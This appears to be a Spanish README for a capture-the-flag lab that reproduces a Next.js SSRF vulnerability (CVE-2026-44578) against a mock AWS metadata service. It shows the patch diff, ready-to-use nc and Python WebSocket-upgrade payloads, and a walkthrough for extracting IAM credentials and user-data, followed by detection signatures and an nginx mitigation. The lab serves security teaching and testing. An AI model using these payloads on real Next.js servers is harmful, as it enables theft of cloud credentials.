
este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah
| Campo | Valor |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Tipo | SSRF (CWE-918) |
| Versiones afectadas | Next.js 13.4.13 – 15.5.15 y 16.0.0 – 16.2.4 |
| Versiones parcheadas | 15.5.16 y 16.2.5 |
| Autenticación | ninguna |
| Interacción de usuario | ninguna |
Atacante (host: 0.0.0.0)
│ HTTP :3000 (público)
▼
┌──────────────────────────┐ mismo namespace de red ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (credenciales, │
│ (servidor Node integrado)│ │ user-data, índice) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (puerto 3000): la app vulnerable, expuesta a 0.0.0.0:3000.imds-sidecar: mock del metadata service de AWS que vive en
localhost:80 dentro del namespace del container de Next.js, modelando
una instancia real en la nube. No es alcanzable desde el host directamente
(no hay puerto publicado). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # PoC automatizado (5 probes)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + rutas secretas
└── nextjs-app/ # App realista "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (vulnerable)
El upgrade handler de WebSocket en router-server.ts llama a proxyRequest()
cuando el URI parseado tiene parsedUrl.protocol, sin verificar los flags
finished y statusCode que el handler HTTP normal siempre emitió:
// vulnerable (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// parche (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
La ruta de ataque usa una request line con URI absoluta doble-barra:
GET http:///path. normalizeRepeatedSlashes colapsa http:/// a http:/,
quedando sin hostname, y http-proxy conecta entonces a localhost:80 con
el path intacto:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
La presencia de las cabeceras Connection: Upgrade + Upgrade: websocket hace
que el request caiga en el handler de upgrade vulnerable en vez del handler
HTTP con las verificaciones de seguridad.
docker compose up -d --build
Verificar que la app responde:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
Para dejarlo funcionando en 0.0.0.0, el mapeo de puertos en
docker-compose.yml ya expone 3000:3000 en todas las interfaces.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
Flujo completo 100 % manual, en 4 fases. Hay 4 flags ocultos en el
servicio interno (localhost:80); esta guía muestra el flujo hasta el
primero y te deja las rutas para encontrar el resto.
# Fingerprint del servidor
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# Puertos abiertos vía socket (sin nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
No hay acceso directo a 127.0.0.1:80 desde el atacante: el único vector es
hacer que el servidor Next.js (que sí vive en la misma red que el servicio
interno) pida por nosotros.
Primero confirmamos el SSRF preguntando por el índice del metadata service:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Respuesta del índice → candidatos: instance-id, hostname,
iam/security-credentials/, user-data (primer flag). El índice de
latest/meta-data/ también revela sub-keys que conviene seguir explorando.
GET http:///latest/user-data HTTP/1.1
| Parte | Función |
|---|---|
GET | La vuln solo proxya GET |
http:///latest/user-data | URI absoluta. http:/// colapsa a http:/ → hostname null → el proxy conecta a localhost:80 conservando el path /latest/user-data |
Host: 127.0.0.1:3000 | Si no, el servedor responde 400 |
Connection: Upgrade + Upgrade: websocket | Desvían el request al handler de upgrade vulnerable (el handler HTTP normal sí valida) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | Cabeceras mínimas exigidas en un handshake legítimo |
Terminación: \r\n\r\n en el socket raw (sin cuerpo).
# Opción A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# Opción B: socket raw en Python (misma precisión, sin nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
Salida — el primer flag llega en el body de la respuesta del servicio interno:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
Flag 1/4 conseguido. El header server: BaseHTTP/0.6 ... (Python mock)
confirma que la petición viajó Atacante → Next.js → localhost:80, es decir,
el flag fue exfiltrado desde la red interna por el SSRF. Los otros 3 están
escampados en rutas del metadata service y del servicio interno — el índice de
latest/meta-data/ es tu mapa. Encuentra el resto.
El fake IMDS (localhost:80) modela el metadata service real de AWS: es un
árbol navegable. Cada directorio (termina en /) responde con el índice
de sus sub-rutas; pedir un directorio sin / devuelve un redirect 301. No
hay rutas ocultas: ningún flag exige adivinar — todo se descubre
navegando los índices.
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → script de booteo (señala internal/config)
| Ruta | Contenido |
|---|---|
latest/meta-data/ | Índice de metadata (raya arriba) |
latest/meta-data/iam/security-credentials/ | Rol lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | JSON con AccessKeyId, SecretAccessKey y Token |
latest/user-data | Script de booteo con credenciales de BD |
latest/dynamic/instance-identity/document | JSON de identidad de instancia |
internal/config | Config de un servicio interno (DB, API key) — referenciado por user-data |
Reto CTF: hay 4 flags, y cada uno es un artefacto real de la cadena de explotación SSRF contra AWS: (1) user-data del boot, (2) credenciales IAM, (3) identity document, (4) config de un servicio interno. Sus valores no están publicados. Navega los índices (
/→latest/→ …) y seguirás de banner en banner; el script de user-data te dice dónde vive el cuarto. No hay que adivinar rutas: el 404 solo te delata que estás inventando un path que no existe.
Versión completa con la cadena flag→flag en su propio documento: SOLUCION.md (cada flag te da la pista del siguiente, fuera de este README).
La regla: cada flag tiene una pista, una traba y la solución. Primero intenta con la pista; usa la traba cuando estés atascado. No hay rutas ocultas: nadie falaza, todo se navega.
Dos avisos antes de empezar:
ssrf() ya está listo en SOLUCION.md →
Preparación: cópialo y úsalo para el resto de la guía. Envía un request
GET http:///<path> con Connection: Upgrade + Upgrade: websocket.RkxBR3… (base64 de FLAG{…}). Descifralos:
echo <blob> | base64 -d./latest/user-data? Es lo primero que
comprueba cualquier atacante en AWS./ al final.
ssrf latest/meta-data te da 301 Moved Permanently y Location: latest/meta-data/. = "Sígueme". Con nc no hay seguir automático: repite el
pedido con el slash.ssrf latest/user-data
En el body: el script de booteo con DB_PASS=… (Flag 1 está ahí dentro),
y una línea curl -s http://internal/config que es el mapa del Flag 4.
latest/meta-data/iam/security-credentials/ y pide el rol
que aparece.Token no es relleno): el 200 trae un JSON largo.
AccessKeyId/SecretAccessKey saltan a la vista; el Flag 2 no está
ahí: el campo Token es una sola cadena base64. Descifrala.ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/ no es el único árbol. Mira el índice raíz:
hay un dynamic/ que casi nadie abre.dynamic/ → instance-identity/ →
document. Son tres escalones; en cada uno tu ssrf debe terminar en /
(excepto document). Gente se pierde por no re-solicitar tras el 301.ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
El JSON de identidad incluye una clave FLAG con el Flag 3 (en base64).
Si tu serie de comandos devolvió 301 en el segundo escalón, agárrrate la
lección de la Traba 1.
curl -s http://internal/config.internal no resuelve.
"internal" es un alias del lado del servidor, no tuyo. No cambias el
host: el SSRF siempre aterriza en localhost:80; solo eliges el path.ssrf internal/config
Verificación de los 4 (blob base64 → decodificado):
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4 flags en mano. Si alguno no te sale FLAG{...}, ya sabes: revisa el
curl de user-data (traba del Flag 4) o el / de los índices (traba del Flag 1).
Uso manual, por ejemplo credenciales IAM:
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Resultado esperado — la respuesta llega con server: BaseHTTP/0.6 Python/3.12.x
(el mock), no con el banner de Next.js, lo que prueba que la petición fue
hecha por el servidor hacia localhost:80:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
El PoC verifica el SSRF pero censura los flags: los blobs base64 de los
FLAG{...} y los FLAG{...} en claro se muestran como texto censurado. Los
valores solo se obtienen por exploración manual (sección CTF de arriba).
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: explotacion manual) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (flag cifrado: explotacion manual) ***
http:///).Upgrade: websocket con 400).Para confirmar que el parche (Next.js ≥ 15.5.16) bloquea el ataque, cambia la
versión en nextjs-app/package.json a 15.5.16, reconstruye y re-ejecuta el
mismo payload: la conexión se cierra sin devolver datos.
Firmas en logs del proceso Next.js:
Failed to proxy http:/ — el proxy se disparó pero el destino era inalcanzable.http: junto a
cabeceras Connection: Upgrade / Upgrade: websocket.HttpTokens=required) en AWS.if ($request_uri ~* "^https?://") { return 400; }